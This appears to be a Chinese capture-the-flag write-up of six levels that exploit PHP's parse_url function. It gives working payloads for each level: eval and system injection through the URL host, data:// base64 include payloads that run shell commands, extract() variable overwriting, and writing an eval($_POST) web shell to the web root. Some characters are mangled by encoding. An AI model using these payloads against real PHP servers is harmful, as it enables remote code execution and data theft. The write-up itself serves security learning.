第一关
这个parse_url
函数就是解析URL并且进行拆分的
$url = "https://www.example.com/path/to/page?param1=value1¶m2=value2";$parsed_url = parse_url($url);print_r($parsed_url);
Array
([scheme] => https[host] => www.example.com[path] => /path/to/page[query] => param1=value1¶m2=value2
)
<?php
$data = parse_url($_GET['u']);eval($data['host']);
源码很少就是我们需要利用域名来搞事情
GET:
?u=http://eval($_POST[1]);
POST:
1=system('cat /flag_is_here.txt');
第二关
<?php$data = parse_url($_GET['u']);include $data['host'].$data['path'];
用data协议
http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
需要进行一个base64加密
<?php system('cat /f*');?>
PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8+
加号还需要url编码
还有一个很重要的地方就是伪协议里面的data明明是一个 : ,但是这里写 :: 就是因为parse_url这个函数会吞
第三关
<?php
$data = parse_url($_GET['u']);include $data['scheme'].$data['path'];
GET:
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
POST:
1=system('cat /f*');
第四关
<?php
$data = parse_url($_GET['u']);system($data['host']);
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re
cd ..返回上级目录
第五关
<?phpextract(parse_url($_GET['u']));
include $$$$$$host;
extract函数是把一个数组进行拆分赋值如下图
也就是说先进行url分解再进行赋值然后再对host进行变量覆盖
<?php
$a=parse_url("user://pass:query@scheme/?fragment%23data://,<?php system('cat /_f1ag_1s_h3ree');?>");
//var_dump($a);
$b=extract($a);
//var_dump($b);
var_dump($host);
var_dump($$host);
var_dump($$$host);
var_dump($$$$host);
var_dump($$$$$host);
var_dump($$$$$$host);
?>
输出:
string(6) "scheme"
string(4) "user"
string(4) "pass"
string(5) "query"
string(57) "fragment%23data://,"
NULL
其实不难看出这个$的变量覆盖使得最后执行php命令
第六关
<?php$data = parse_url($_GET['u']);file_put_contents($data['path'], $data['host']);
?u=http://<script language='php'>eval($_POST[1]);/var/www/html/1.php
然后访问1.php进行rce
path:/var/www/html/1.php
然后host他解析不出来我们就可以写一个小马